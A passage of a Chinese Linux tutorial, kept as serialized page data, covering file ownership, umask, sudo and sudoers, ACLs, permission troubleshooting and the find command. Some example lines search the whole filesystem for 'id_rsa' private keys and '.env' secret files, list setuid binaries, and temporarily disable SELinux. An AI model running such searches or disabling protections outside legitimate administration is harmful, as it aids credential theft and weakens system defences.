chgrp —— 修改属主属组",[11,78560,78561],{},[17,78562,78563],{},"示例 1：改属主、改属组",[308,78565,78567],{"className":3902,"code":78566,"language":3904,"meta":314,"style":314},"chown deploy:app app.py        # 同时改属主和属组；普通用户不能把文件送给别人，只有 root 能\nchgrp -R www-data logs         # 只改属组；比 chown 温和，不需要 root 也能改自己组的\nchown -R app:app \u002Fsrv\u002Fapp      # -R 递归整棵目录树\nchown -h link newtarget        # -h 改软链接本身，而不是它指向的文件\n",[22,78568,78569,78581,78595,78609],{"__ignoreMap":314},[331,78570,78571,78573,78576,78578],{"class":333,"line":334},[331,78572,47951],{"class":501},[331,78574,78575],{"class":365}," deploy:app",[331,78577,75864],{"class":365},[331,78579,78580],{"class":1003},"        # 同时改属主和属组；普通用户不能把文件送给别人，只有 root 能\n",[331,78582,78583,78585,78587,78590,78592],{"class":333,"line":341},[331,78584,52366],{"class":501},[331,78586,78463],{"class":344},[331,78588,78589],{"class":365}," www-data",[331,78591,49928],{"class":365},[331,78593,78594],{"class":1003},"         # 只改属组；比 chown 温和，不需要 root 也能改自己组的\n",[331,78596,78597,78599,78601,78604,78606],{"class":333,"line":357},[331,78598,47951],{"class":501},[331,78600,78463],{"class":344},[331,78602,78603],{"class":365}," app:app",[331,78605,75236],{"class":365},[331,78607,78608],{"class":1003},"      # -R 递归整棵目录树\n",[331,78610,78611,78613,78615,78618,78621],{"class":333,"line":371},[331,78612,47951],{"class":501},[331,78614,16456],{"class":344},[331,78616,78617],{"class":365}," link",[331,78619,78620],{"class":365}," newtarget",[331,78622,78623],{"class":1003},"        # -h 改软链接本身，而不是它指向的文件\n",[11,78625,78626],{},[17,78627,78628],{},"示例 2：大范围改动的安全网",[308,78630,78632],{"className":3902,"code":78631,"language":3904,"meta":314,"style":314},"chown -R --from=root app \u002Fsrv\u002Fapp       # --from 只改当前属主是 root 的文件，避免误改新加的文件\nfind \u002Fsrv\u002Fapp ! -user deploy -print | head   # 递归前先用它跑一遍确认范围\n",[22,78633,78634,78650],{"__ignoreMap":314},[331,78635,78636,78638,78640,78643,78645,78647],{"class":333,"line":334},[331,78637,47951],{"class":501},[331,78639,78463],{"class":344},[331,78641,78642],{"class":344}," --from=root",[331,78644,18152],{"class":365},[331,78646,75236],{"class":365},[331,78648,78649],{"class":1003},"       # --from 只改当前属主是 root 的文件，避免误改新加的文件\n",[331,78651,78652,78654,78656,78658,78661,78663,78665,78667,78669],{"class":333,"line":341},[331,78653,16382],{"class":501},[331,78655,75236],{"class":365},[331,78657,1165],{"class":365},[331,78659,78660],{"class":344}," -user",[331,78662,59612],{"class":365},[331,78664,76094],{"class":344},[331,78666,15984],{"class":616},[331,78668,15987],{"class":501},[331,78670,78671],{"class":1003},"   # 递归前先用它跑一遍确认范围\n",[11,78673,78674],{},"改属主时的三个雷：",[1659,78676,78677,78683,78692],{},[1662,78678,78679,78682],{},[22,78680,78681],{},"chown -R"," 在目录树里遇到别人正在写的数据库文件会打断服务——先停服务再改。",[1662,78684,78685,78686,78689,78690,4813],{},"递归前",[17,78687,78688],{},"先跑一遍确认范围","（上面的 ",[22,78691,16382],{},[1662,78693,78694,272,78697,78700,78701,78704,78705,78707],{},[22,78695,78696],{},"\u002Fsrv",[22,78698,78699],{},"\u002Fvar\u002Fwww"," 这类由包管理器维护的目录，",[22,78702,78703],{},"chown -R root:root"," 之后可能连 ",[22,78706,47280],{}," 都跑不动。",[53,78709,78711],{"id":78710},"_4-umask-新文件的默认权限","4. umask —— 新文件的默认权限",[11,78713,78714,78717,78718,78721,78722,78724,78725,161],{},[22,78715,78716],{},"umask"," 是「新建文件时要屏蔽掉的位」。文件最多 ",[22,78719,78720],{},"666","，目录最多 ",[22,78723,78356],{},"，然后按位与 ",[22,78726,78727],{},"~umask",[57,78729,78730,78744],{},[60,78731,78732],{},[63,78733,78734,78736,78739,78742],{},[66,78735,78716],{},[66,78737,78738],{},"新文件",[66,78740,78741],{},"新目录",[66,78743,26236],{},[79,78745,78746,78764,78782,78800],{},[63,78747,78748,78753,78757,78761],{},[84,78749,78750],{},[22,78751,78752],{},"022",[84,78754,78755],{},[22,78756,78264],{},[84,78758,78759],{},[22,78760,78279],{},[84,78762,78763],{},"默认（系统用户、多数发行版）",[63,78765,78766,78771,78775,78779],{},[84,78767,78768],{},[22,78769,78770],{},"002",[84,78772,78773],{},[22,78774,78326],{},[84,78776,78777],{},[22,78778,78341],{},[84,78780,78781],{},"团队协作组（配合共同属组）",[63,78783,78784,78789,78793,78797],{},[84,78785,78786],{},[22,78787,78788],{},"077",[84,78790,78791],{},[22,78792,72571],{},[84,78794,78795],{},[22,78796,78308],{},[84,78798,78799],{},"安全敏感环境",[63,78801,78802,78807,78812,78817],{},[84,78803,78804],{},[22,78805,78806],{},"027",[84,78808,78809],{},[22,78810,78811],{},"640",[84,78813,78814],{},[22,78815,78816],{},"750",[84,78818,78819],{},"常见服务器加固基线",[11,78821,78822],{},[17,78823,78824],{},"示例 1：查看与设置",[308,78826,78828],{"className":3902,"code":78827,"language":3904,"meta":314,"style":314},"umask        # 查看，输出如 0002\numask -S     # 符号形式（u=rwx,g=rx,o=），好读\numask 027    # 只对当前 Shell 及其子进程生效，写进 ~\u002F.bashrc 才持久\n",[22,78829,78830,78837,78846],{"__ignoreMap":314},[331,78831,78832,78834],{"class":333,"line":334},[331,78833,78716],{"class":344},[331,78835,78836],{"class":1003},"        # 查看，输出如 0002\n",[331,78838,78839,78841,78843],{"class":333,"line":341},[331,78840,78716],{"class":344},[331,78842,51312],{"class":344},[331,78844,78845],{"class":1003},"     # 符号形式（u=rwx,g=rx,o=），好读\n",[331,78847,78848,78850,78853],{"class":333,"line":357},[331,78849,78716],{"class":344},[331,78851,78852],{"class":344}," 027",[331,78854,78855],{"class":1003},"    # 只对当前 Shell 及其子进程生效，写进 ~\u002F.bashrc 才持久\n",[11,78857,78858,78859,78861,78862,78865,78866,78868,78869,78871,78872,78875],{},"坑：",[22,78860,78716],{}," 只影响",[17,78863,78864],{},"新建","文件，不改动已存在的文件；用 ",[22,78867,75697],{}," 建了一半才发现 umask 不对，用 ",[22,78870,78545],{}," 补。systemd 服务可以单独设 ",[22,78873,78874],{},"UMask=0027","（在 unit 里），与登录 Shell 的 umask 无关——很多人卡在这里。",[53,78877,78879],{"id":78878},"_5-sudo-与-su-换用户的方式不同","5. sudo 与 su —— 换用户的方式不同",[57,78881,78882,78906],{},[60,78883,78884],{},[63,78885,78886,78888,78893,78901],{},[66,78887,36604],{},[66,78889,78890],{},[22,78891,78892],{},"sudo cmd",[66,78894,78895,1901,78898],{},[22,78896,78897],{},"sudo -i",[22,78899,78900],{},"su -",[66,78902,78903],{},[22,78904,78905],{},"su cmd",[79,78907,78908,78930,78949,78967,78980],{},[63,78909,78910,78913,78919,78927],{},[84,78911,78912],{},"需要谁的密码",[84,78914,78915,78916,78918],{},"通常",[17,78917,13968],{},"的密码",[84,78920,78921,78923,78924,78926],{},[22,78922,78897],{}," 自己；",[22,78925,78900],{}," 目标用户（root）",[84,78928,78929],{},"目标用户",[63,78931,78932,78934,78940,78943],{},[84,78933,49424],{},[84,78935,78936,78937,5149],{},"保留大部分（",[22,78938,78939],{},"secure_path",[84,78941,78942],{},"完整登录环境",[84,78944,78945,78946,78948],{},"不完整（",[22,78947,78900],{}," 才完整）",[63,78950,78951,78954,78961,78964],{},[84,78952,78953],{},"审计",[84,78955,78956,78957,78960],{},"每条命令写进 ",[22,78958,78959],{},"\u002Fvar\u002Flog\u002Fauth.log"," 或 journal",[84,78962,78963],{},"记会话",[84,78965,78966],{},"只记会话",[63,78968,78969,78972,78975,78978],{},[84,78970,78971],{},"可精细授权",[84,78973,78974],{},"能（只允许某些命令）",[84,78976,78977],{},"等价于给整个 shell",[84,78979,60399],{},[63,78981,78982,78984,78987,78990],{},[84,78983,11668],{},[84,78985,78986],{},"跑一条特权命令",[84,78988,78989],{},"长期在 root 下操作",[84,78991,78992],{},"容器里 root 切普通用户",[11,78994,78995],{},[17,78996,78997],{},"示例 1：常用写法",[308,78999,79001],{"className":3902,"code":79000,"language":3904,"meta":314,"style":314},"sudo !!                            # 上一条命令忘了加 sudo，重跑\nsudo -u appuser .\u002Fworker.sh        # 以某个服务用户身份跑（比给它 root 权限安全）\nsudo -i                            # 拿到 root 的登录 shell（读 \u002Froot\u002F.profile）\nsudo -l                            # 列出我当前被允许做什么（排查「为什么这个 sudo 不行」）\nsudo -v                            # 只刷新凭据缓存，测试密码对不对\nsudo --preserve-env=PATH cmd       # 需要保留自己的 PATH 时（默认 sudo 会重置）\n",[22,79002,79003,79012,79027,79036,79045,79054],{"__ignoreMap":314},[331,79004,79005,79007,79009],{"class":333,"line":334},[331,79006,37063],{"class":501},[331,79008,13805],{"class":365},[331,79010,79011],{"class":1003},"                            # 上一条命令忘了加 sudo，重跑\n",[331,79013,79014,79016,79018,79021,79024],{"class":333,"line":341},[331,79015,37063],{"class":501},[331,79017,37094],{"class":344},[331,79019,79020],{"class":365}," appuser",[331,79022,79023],{"class":365}," .\u002Fworker.sh",[331,79025,79026],{"class":1003},"        # 以某个服务用户身份跑（比给它 root 权限安全）\n",[331,79028,79029,79031,79033],{"class":333,"line":357},[331,79030,37063],{"class":501},[331,79032,53226],{"class":344},[331,79034,79035],{"class":1003},"                            # 拿到 root 的登录 shell（读 \u002Froot\u002F.profile）\n",[331,79037,79038,79040,79042],{"class":333,"line":371},[331,79039,37063],{"class":501},[331,79041,43868],{"class":344},[331,79043,79044],{"class":1003},"                            # 列出我当前被允许做什么（排查「为什么这个 sudo 不行」）\n",[331,79046,79047,79049,79051],{"class":333,"line":384},[331,79048,37063],{"class":501},[331,79050,51745],{"class":344},[331,79052,79053],{"class":1003},"                            # 只刷新凭据缓存，测试密码对不对\n",[331,79055,79056,79058,79061,79064],{"class":333,"line":397},[331,79057,37063],{"class":501},[331,79059,79060],{"class":344}," --preserve-env=PATH",[331,79062,79063],{"class":365}," cmd",[331,79065,79066],{"class":1003},"       # 需要保留自己的 PATH 时（默认 sudo 会重置）\n",[11,79068,79069],{},[17,79070,79071],{},"示例 2：改 sudoers 的正确流程",[11,79073,79074,268,79077,79083],{},[22,79075,79076],{},"\u002Fetc\u002Fsudoers",[17,79078,79079,79080,79082],{},"永远不要直接 ",[22,79081,77384],{}," 改","——语法错了会把所有 sudo 权限锁死。",[308,79085,79087],{"className":3902,"code":79086,"language":3904,"meta":314,"style":314},"sudo visudo -c                        # 先检查现有语法\nsudo visudo                           # 用 visudo 打开（编辑完保存前自动校验）\nsudo visudo -f \u002Fetc\u002Fsudoers.d\u002Fdeploy  # 最好：单独放一个 drop-in 文件\n",[22,79088,79089,79101,79110],{"__ignoreMap":314},[331,79090,79091,79093,79096,79098],{"class":333,"line":334},[331,79092,37063],{"class":501},[331,79094,79095],{"class":365}," visudo",[331,79097,15990],{"class":344},[331,79099,79100],{"class":1003},"                        # 先检查现有语法\n",[331,79102,79103,79105,79107],{"class":333,"line":341},[331,79104,37063],{"class":501},[331,79106,79095],{"class":365},[331,79108,79109],{"class":1003},"                           # 用 visudo 打开（编辑完保存前自动校验）\n",[331,79111,79112,79114,79116,79118,79121],{"class":333,"line":357},[331,79113,37063],{"class":501},[331,79115,79095],{"class":365},[331,79117,43839],{"class":344},[331,79119,79120],{"class":365}," \u002Fetc\u002Fsudoers.d\u002Fdeploy",[331,79122,79123],{"class":1003},"  # 最好：单独放一个 drop-in 文件\n",[11,79125,79126],{},"drop-in 里写权限要最小化：",[308,79128,79130],{"className":75245,"code":79129,"language":75247,"meta":314,"style":314},"deploy ALL=(ALL) NOPASSWD: \u002Fbin\u002Fsystemctl restart nginx, \u002Fbin\u002Fsystemctl status nginx\n",[22,79131,79132],{"__ignoreMap":314},[331,79133,79134],{"class":333,"line":334},[331,79135,79129],{},[11,79137,79138,79141,79142,79144,79145,4839,79148,79151,79152,18878,79155,79158,79159,2012,79161,79163,79164,79167],{},[22,79139,79140],{},"visudo"," 默认用 ",[22,79143,77376],{},"；想换 ",[22,79146,79147],{},"EDITOR=nano sudo -E visudo",[22,79149,79150],{},"-E"," 保留环境变量，否则换不了）。sudoers 目录里",[17,79153,79154],{},"最后加载的文件生效",[22,79156,79157],{},"\u002Fetc\u002Fsudoers.d\u002F"," 里的覆盖主文件，命名别带 ",[22,79160,1192],{},[22,79162,5404],{},"（会被忽略，",[22,79165,79166],{},"README"," 那种文件写权限进去会炸）。",[53,79169,79171],{"id":79170},"_6-特殊权限位一览","6. 特殊权限位一览",[57,79173,79174,79190],{},[60,79175,79176],{},[63,79177,79178,79180,79182,79185,79187],{},[66,79179,38967],{},[66,79181,57757],{},[66,79183,79184],{},"表现",[66,79186,7759],{},[66,79188,79189],{},"常见例子",[79,79191,79192,79226,79252],{},[63,79193,79194,79197,79202,79210,79217],{},[84,79195,79196],{},"setuid",[84,79198,79199],{},[22,79200,79201],{},"4000",[84,79203,79204,79205,4839,79207,5149],{},"属主执行位是 ",[22,79206,21542],{},[22,79208,79209],{},"rwsr-xr-x",[84,79211,79212,79213,79216],{},"执行时以",[17,79214,79215],{},"文件属主","身份（root）",[84,79218,79219,272,79222,79225],{},[22,79220,79221],{},"passwd",[22,79223,79224],{},"ping","（旧式）",[63,79227,79228,79231,79235,79243,79246],{},[84,79229,79230],{},"setgid",[84,79232,79233],{},[22,79234,65450],{},[84,79236,79237,79238,4839,79240,5149],{},"属组执行位是 ",[22,79239,21542],{},[22,79241,79242],{},"rwxr-sr-x",[84,79244,79245],{},"文件：执行时以属组身份；目录：新建文件继承目录的组",[84,79247,79248,79249],{},"团队共享目录 ",[22,79250,79251],{},"chmod g+s \u002Fsrv\u002Fshared",[63,79253,79254,79257,79261,79268,79271],{},[84,79255,79256],{},"sticky",[84,79258,79259],{},[22,79260,64797],{},[84,79262,79263,79264,4839,79266,5149],{},"其他人执行位是 ",[22,79265,33113],{},[22,79267,75396],{},[84,79269,79270],{},"目录里只有属主能删自己的文件",[84,79272,79273],{},[22,79274,75393],{},[53,79276,79278],{"id":79277},"_7-setfacl-getfacl-既要给第三个人读又不要给其他人","7. setfacl \u002F getfacl —— 「既要给第三个人读又不要给其他人」",[11,79280,79281],{},"普通权限只有三档，遇到「给某个组加读写、其他人不动」就需要 ACL：",[308,79283,79285],{"className":3902,"code":79284,"language":3904,"meta":314,"style":314},"getfacl \u002Fsrv\u002Fapp\u002Fdata                          # 查看（含默认 ACL）\nsetfacl -m u:backup:rx \u002Fsrv\u002Fapp\u002Fdata          # -m 加一条：给用户 backup 读+执行\nsetfacl -m d:g:deploy:rwX \u002Fsrv\u002Fshared         # d: 默认 ACL，新建文件自动继承\nsetfacl -x u:backup \u002Fsrv\u002Fapp\u002Fdata             # -x 删一条\nsetfacl -R -b \u002Fsrv\u002Fapp                        # -b 递归清空所有 ACL\n",[22,79286,79287,79298,79314,79329,79344],{"__ignoreMap":314},[331,79288,79289,79292,79295],{"class":333,"line":334},[331,79290,79291],{"class":501},"getfacl",[331,79293,79294],{"class":365}," \u002Fsrv\u002Fapp\u002Fdata",[331,79296,79297],{"class":1003},"                          # 查看（含默认 ACL）\n",[331,79299,79300,79303,79306,79309,79311],{"class":333,"line":341},[331,79301,79302],{"class":501},"setfacl",[331,79304,79305],{"class":344}," -m",[331,79307,79308],{"class":365}," u:backup:rx",[331,79310,79294],{"class":365},[331,79312,79313],{"class":1003},"          # -m 加一条：给用户 backup 读+执行\n",[331,79315,79316,79318,79320,79323,79326],{"class":333,"line":357},[331,79317,79302],{"class":501},[331,79319,79305],{"class":344},[331,79321,79322],{"class":365}," d:g:deploy:rwX",[331,79324,79325],{"class":365}," \u002Fsrv\u002Fshared",[331,79327,79328],{"class":1003},"         # d: 默认 ACL，新建文件自动继承\n",[331,79330,79331,79333,79336,79339,79341],{"class":333,"line":371},[331,79332,79302],{"class":501},[331,79334,79335],{"class":344}," -x",[331,79337,79338],{"class":365}," u:backup",[331,79340,79294],{"class":365},[331,79342,79343],{"class":1003},"             # -x 删一条\n",[331,79345,79346,79348,79350,79352,79354],{"class":333,"line":384},[331,79347,79302],{"class":501},[331,79349,78463],{"class":344},[331,79351,76000],{"class":344},[331,79353,75236],{"class":365},[331,79355,79356],{"class":1003},"                        # -b 递归清空所有 ACL\n",[11,79358,79359,79361,79362,56797,79364,79367,79368,79371,79372,79374,79375,79377],{},[22,79360,75200],{}," 末尾出现 ",[22,79363,12714],{},[22,79365,79366],{},"-rw-rw-r--+","）就说明有 ACL。坑：文件系统必须挂载带 ",[22,79369,79370],{},"acl"," 选项（现代 ext4\u002Fxfs 默认支持），NFS 上还要服务端配合；容器里 ",[22,79373,79302],{}," 常因缺 ",[22,79376,79370],{}," 包报错。",[53,79379,79381],{"id":79380},"_8-为什么-permission-denied排查清单","8. 「为什么 Permission denied」排查清单",[57,79383,79384,79396],{},[60,79385,79386],{},[63,79387,79388,79391,79393],{},[66,79389,79390],{},"检查顺序",[66,79392,5040],{},[66,79394,79395],{},"判断",[79,79397,79398,79417,79437,79450,79476,79496,79514,79533],{},[63,79399,79400,79403,79408],{},[84,79401,79402],{},"1. 谁在执行这条操作",[84,79404,79405],{},[22,79406,79407],{},"ps -o user= -p $(pgrep -f worker)",[84,79409,79410,79411,79414,79415],{},"nginx 是 ",[22,79412,79413],{},"www-data","，你以为是 ",[22,79416,54965],{},[63,79418,79419,79426,79431],{},[84,79420,79421,79422,79425],{},"2. 文件本身与",[17,79423,79424],{},"所有父目录","的权限",[84,79427,79428],{},[22,79429,79430],{},"namei -l \u002Fsrv\u002Fapp\u002Flogs\u002Fapp.log",[84,79432,79433,79434,79436],{},"一眼看全链路，父目录缺 ",[22,79435,21547],{}," 立刻现形",[63,79438,79439,79442,79447],{},[84,79440,79441],{},"3. 属主属组是否符合预期",[84,79443,79444],{},[22,79445,79446],{},"stat -c '%U %G %a' file",[84,79448,79449],{},"部署脚本用 root 建的文件，进程写不了",[63,79451,79452,79455,79463],{},[84,79453,79454],{},"4. 是否 SELinux\u002FAppArmor 拦的",[84,79456,79457,17306,79460],{},[22,79458,79459],{},"sudo ausearch -m avc -ts recent",[22,79461,79462],{},"getenforce",[84,79464,79465,79466,4839,79469,5149],{},"临时验证：",[22,79467,79468],{},"sudo setenforce 0",[17,79470,79471,79472,79475],{},"测完必须 ",[22,79473,79474],{},"setenforce 1"," 恢复",[63,79477,79478,79486,79491],{},[84,79479,79480,79481,6745,79483],{},"5. 文件系统挂载是否 ",[22,79482,51906],{},[22,79484,79485],{},"noexec",[84,79487,79488],{},[22,79489,79490],{},"findmnt -T \u002Fsrv\u002Fapp",[84,79492,57209,79493,79495],{},[22,79494,51906],{}," 就是磁盘只读挂载（第十四章）",[63,79497,79498,79501,79506],{},[84,79499,79500],{},"6. 磁盘\u002Finode 满（报的是别的错但很像权限）",[84,79502,79503],{},[22,79504,79505],{},"df -h; df -i",[84,79507,79508,79510,79511],{},[22,79509,55541],{}," vs ",[22,79512,79513],{},"Read-only file system",[63,79515,79516,79525,79530],{},[84,79517,79518,79519,79521,79522,79524],{},"7. 目录缺 ",[22,79520,21547],{},"、文件缺 ",[22,79523,66333],{}," 的具体组合",[84,79526,79527],{},[22,79528,79529],{},"sudo -u appuser cat \u002Fsrv\u002Fapp\u002Fx",[84,79531,79532],{},"用真实身份复现最快",[63,79534,79535,79538,79549],{},[84,79536,79537],{},"8. 服务被沙箱限制",[84,79539,79540,49843,79543,272,79546],{},[22,79541,79542],{},"systemctl cat myapp",[22,79544,79545],{},"ProtectSystem=",[22,79547,79548],{},"ReadWritePaths=",[84,79550,79551],{},"systemd 加固参数导致写不了",[11,79553,79554,79555,32609,79557,79560,79561,79563,79564,79567,79568,4809,79571,79574],{},"SELinux 一句话说明：",[22,79556,79462],{},[22,79558,79559],{},"Enforcing"," 时，即使权限位全对也可能被安全上下文拒绝，典型表现是 nginx 读得了 ",[22,79562,74580],{}," 里 644 的文件却报 403。正确修法不是关掉 SELinux，而是 ",[22,79565,79566],{},"ls -Z"," 看上下文、",[22,79569,79570],{},"semanage fcontext",[22,79572,79573],{},"restorecon"," 打标签。RHEL 系默认开，Debian\u002FUbuntu 默认没开。",[53,79576,75156],{"id":79577},"踩坑提醒-4",[1773,79579,79580,79590,79610,79622],{},[1662,79581,79582,79583,79586,79587,22270],{},"改完组权限发现没生效：组成员变更",[17,79584,79585],{},"不会作用于已登录的会话","，重新登录或 ",[22,79588,79589],{},"newgrp 组名",[1662,79591,79592,29674,79595,79598,79599,79602,79603,79606,79607,79609],{},[22,79593,79594],{},"chmod -R 755",[22,79596,79597],{},"~\u002F.ssh"," 也改了，结果 ",[22,79600,79601],{},"ssh"," 立刻连不上：",[22,79604,79605],{},"authorized_keys"," 要 600、",[22,79608,78318],{}," 要 700。",[1662,79611,79612,79613,79615,79616,4839,79618,79621],{},"目录给了 ",[22,79614,78157],{}," 没给 ",[22,79617,21547],{},[22,79619,79620],{},"-wx","）是极少见的组合：能创建\u002F删除文件但不能列出内容，排查时容易误判，一般不这么配。",[1662,79623,79624,79625,79628,79629,79632],{},"权限问题一律用 ",[22,79626,79627],{},"namei -l 全路径"," 起手，比一层层 ",[22,79630,79631],{},"ls -ld"," 快且不会漏。",[48,79634,79636],{"id":79635},"六查找文件findlocategrep-r","六、查找文件：find、locate、grep -r",[11,79638,79639,79640,272,79642,272,79645,161,79647,79649,79650,161],{},"「这个日志到底在哪」「谁把配置塞到系统里的」「按名字找命令」——三类需求对应 ",[22,79641,16382],{},[22,79643,79644],{},"locate",[22,79646,3628],{},[22,79648,16382],{}," 参数多但有固定套路：",[17,79651,79652,79653,79656,79657,655,79660,655,79663,79666,79667,655,79670,655,79673,5149],{},"先缩小范围（路径 + ",[22,79654,79655],{},"-maxdepth","），再定条件（",[22,79658,79659],{},"-name",[22,79661,79662],{},"-type",[22,79664,79665],{},"-mtime","），最后才加动作（",[22,79668,79669],{},"-print",[22,79671,79672],{},"-exec",[22,79674,79675],{},"-delete",[4748,79677],{"height":32474,"src":79678,"title":79679},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F06-find.html","示例 06：find 的条件、动作与 -exec \u002F -delete 的差别",[53,79681,79683],{"id":79682},"_1-find-按名字找","1. find —— 按名字找",[11,79685,79686,79688,79689,79692,79693,79695,79696,79699,79700,79702],{},[22,79687,16382],{}," 的基本格式是 ",[22,79690,79691],{},"find 起点 条件… 动作…","，条件之间默认是「与」，",[22,79694,1150],{}," 取反，",[22,79697,79698],{},"-o"," 或（注意 ",[22,79701,79698],{}," 要用括号分组）。",[11,79704,79705],{},[17,79706,79707],{},"示例 1：按文件名查",[308,79709,79711],{"className":3902,"code":79710,"language":3904,"meta":314,"style":314},"find \u002Fsrv\u002Fapp -name '*.log'     # -name 按 glob 匹配文件名；模式必须加引号，否则先被 Shell 展开就废了\nfind . -iname '*.conf'          # -iname 忽略大小写\nfind \u002Fetc -path '\u002Fetc\u002Fnginx\u002F*'  # -path 匹配全路径（glob）；-regex 是全路径正则（GNU）\n",[22,79712,79713,79727,79742],{"__ignoreMap":314},[331,79714,79715,79717,79719,79721,79724],{"class":333,"line":334},[331,79716,16382],{"class":501},[331,79718,75236],{"class":365},[331,79720,16388],{"class":344},[331,79722,79723],{"class":365}," '*.log'",[331,79725,79726],{"class":1003},"     # -name 按 glob 匹配文件名；模式必须加引号，否则先被 Shell 展开就废了\n",[331,79728,79729,79731,79733,79736,79739],{"class":333,"line":341},[331,79730,16382],{"class":501},[331,79732,46803],{"class":365},[331,79734,79735],{"class":344}," -iname",[331,79737,79738],{"class":365}," '*.conf'",[331,79740,79741],{"class":1003},"          # -iname 忽略大小写\n",[331,79743,79744,79746,79749,79752,79755],{"class":333,"line":357},[331,79745,16382],{"class":501},[331,79747,79748],{"class":365}," \u002Fetc",[331,79750,79751],{"class":344}," -path",[331,79753,79754],{"class":365}," '\u002Fetc\u002Fnginx\u002F*'",[331,79756,79757],{"class":1003},"  # -path 匹配全路径（glob）；-regex 是全路径正则（GNU）\n",[11,79759,79760],{},[17,79761,79762],{},"示例 2：先缩小范围（好习惯）",[308,79764,79766],{"className":3902,"code":79765,"language":3904,"meta":314,"style":314},"find \u002F -maxdepth 3 -name 'id_rsa'    # -maxdepth 限定层数，要放在条件最前面；放后面会先全扫一遍再截\nfind \u002F -xdev -name '*.env'           # -xdev 不跨文件系统，避免扫进 \u002Fproc、\u002Fmnt、备份盘\nfind . -path .\u002F.git -prune -o -name '*.js' -print   # -prune 跳过子树，比 -not -path 快很多\n",[22,79767,79768,79787,79804],{"__ignoreMap":314},[331,79769,79770,79772,79774,79777,79779,79781,79784],{"class":333,"line":334},[331,79771,16382],{"class":501},[331,79773,6544],{"class":365},[331,79775,79776],{"class":344}," -maxdepth",[331,79778,59421],{"class":344},[331,79780,16388],{"class":344},[331,79782,79783],{"class":365}," 'id_rsa'",[331,79785,79786],{"class":1003},"    # -maxdepth 限定层数，要放在条件最前面；放后面会先全扫一遍再截\n",[331,79788,79789,79791,79793,79796,79798,79801],{"class":333,"line":341},[331,79790,16382],{"class":501},[331,79792,6544],{"class":365},[331,79794,79795],{"class":344}," -xdev",[331,79797,16388],{"class":344},[331,79799,79800],{"class":365}," '*.env'",[331,79802,79803],{"class":1003},"           # -xdev 不跨文件系统，避免扫进 \u002Fproc、\u002Fmnt、备份盘\n",[331,79805,79806,79808,79810,79812,79815,79818,79820,79822,79824,79826],{"class":333,"line":357},[331,79807,16382],{"class":501},[331,79809,46803],{"class":365},[331,79811,79751],{"class":344},[331,79813,79814],{"class":365}," .\u002F.git",[331,79816,79817],{"class":344}," -prune",[331,79819,53195],{"class":344},[331,79821,16388],{"class":344},[331,79823,16391],{"class":365},[331,79825,76094],{"class":344},[331,79827,79828],{"class":1003},"   # -prune 跳过子树，比 -not -path 快很多\n",[11,79830,79831],{},[17,79832,79833],{},"示例 3：按类型 \u002F 大小 \u002F 时间 \u002F 属主 \u002F 权限",[308,79835,79837],{"className":3902,"code":79836,"language":3904,"meta":314,"style":314},"find \u002Fvar -type l                      # -type：f 文件 d 目录 l 链接 s socket b\u002Fc 设备 p 管道\nfind . -size +100M                     # -size 按大小：+\u002F- 号，c 字节、k KiB、M MiB\nfind logs -mtime +7                    # -mtime 按修改天数：-7 七天以内，+7 超过七天，7 正好第七天（按 24h 计，不是日历天！）\nfind . -mmin -10                       # -mmin 按分钟：最近 10 分钟改过，排查「刚刚谁在写文件」很好用\nfind \u002Fetc -newer \u002Fetc\u002Fhostname         # -newer 比某个文件新，比 -mtime 精确；配合 touch -d 造时间锚点\nfind \u002Fhome -user deploy                # -user\u002F-group 按属主；-uid 1001 用于用户已被删除的情况\nfind \u002F -xdev -perm -4000 -type f       # -perm：-4000 至少含这些位（找 setuid），644 完全等于\nfind . -type d -empty                  # -empty 空文件\u002F空目录，清理部署留下的空目录\n",[22,79838,79839,79854,79869,79884,79899,79914,79928,79949],{"__ignoreMap":314},[331,79840,79841,79843,79846,79848,79851],{"class":333,"line":334},[331,79842,16382],{"class":501},[331,79844,79845],{"class":365}," \u002Fvar",[331,79847,76089],{"class":344},[331,79849,79850],{"class":365}," l",[331,79852,79853],{"class":1003},"                      # -type：f 文件 d 目录 l 链接 s socket b\u002Fc 设备 p 管道\n",[331,79855,79856,79858,79860,79863,79866],{"class":333,"line":341},[331,79857,16382],{"class":501},[331,79859,46803],{"class":365},[331,79861,79862],{"class":344}," -size",[331,79864,79865],{"class":365}," +100M",[331,79867,79868],{"class":1003},"                     # -size 按大小：+\u002F- 号，c 字节、k KiB、M MiB\n",[331,79870,79871,79873,79875,79878,79881],{"class":333,"line":357},[331,79872,16382],{"class":501},[331,79874,49928],{"class":365},[331,79876,79877],{"class":344}," -mtime",[331,79879,79880],{"class":365}," +7",[331,79882,79883],{"class":1003},"                    # -mtime 按修改天数：-7 七天以内，+7 超过七天，7 正好第七天（按 24h 计，不是日历天！）\n",[331,79885,79886,79888,79890,79893,79896],{"class":333,"line":371},[331,79887,16382],{"class":501},[331,79889,46803],{"class":365},[331,79891,79892],{"class":344}," -mmin",[331,79894,79895],{"class":344}," -10",[331,79897,79898],{"class":1003},"                       # -mmin 按分钟：最近 10 分钟改过，排查「刚刚谁在写文件」很好用\n",[331,79900,79901,79903,79905,79908,79911],{"class":333,"line":384},[331,79902,16382],{"class":501},[331,79904,79748],{"class":365},[331,79906,79907],{"class":344}," -newer",[331,79909,79910],{"class":365}," \u002Fetc\u002Fhostname",[331,79912,79913],{"class":1003},"         # -newer 比某个文件新，比 -mtime 精确；配合 touch -d 造时间锚点\n",[331,79915,79916,79918,79921,79923,79925],{"class":333,"line":397},[331,79917,16382],{"class":501},[331,79919,79920],{"class":365}," \u002Fhome",[331,79922,78660],{"class":344},[331,79924,59612],{"class":365},[331,79926,79927],{"class":1003},"                # -user\u002F-group 按属主；-uid 1001 用于用户已被删除的情况\n",[331,79929,79930,79932,79934,79936,79939,79942,79944,79946],{"class":333,"line":418},[331,79931,16382],{"class":501},[331,79933,6544],{"class":365},[331,79935,79795],{"class":344},[331,79937,79938],{"class":344}," -perm",[331,79940,79941],{"class":344}," -4000",[331,79943,76089],{"class":344},[331,79945,75783],{"class":365},[331,79947,79948],{"class":1003},"       # -perm：-4000 至少含这些位（找 setuid），644 完全等于\n",[331,79950,79951,79953,79955,79957,79960,79963],{"class":333,"line":427},[331,79952,16382],{"class":501},[331,79954,46803],{"class":365},[331,79956,76089],{"class":344},[331,79958,79959],{"class":365}," d",[331,79961,79962],{"class":344}," -empty",[331,79964,79965],{"class":1003},"                  # -empty 空文件\u002F空目录，清理部署留下的空目录\n",[11,79967,79968,79969,79972],{},"想精确到「最近 7 天」，最直观的是 ",[22,79970,79971],{},"-newermt \"2026-09-27\"","（强烈推荐），不受 24 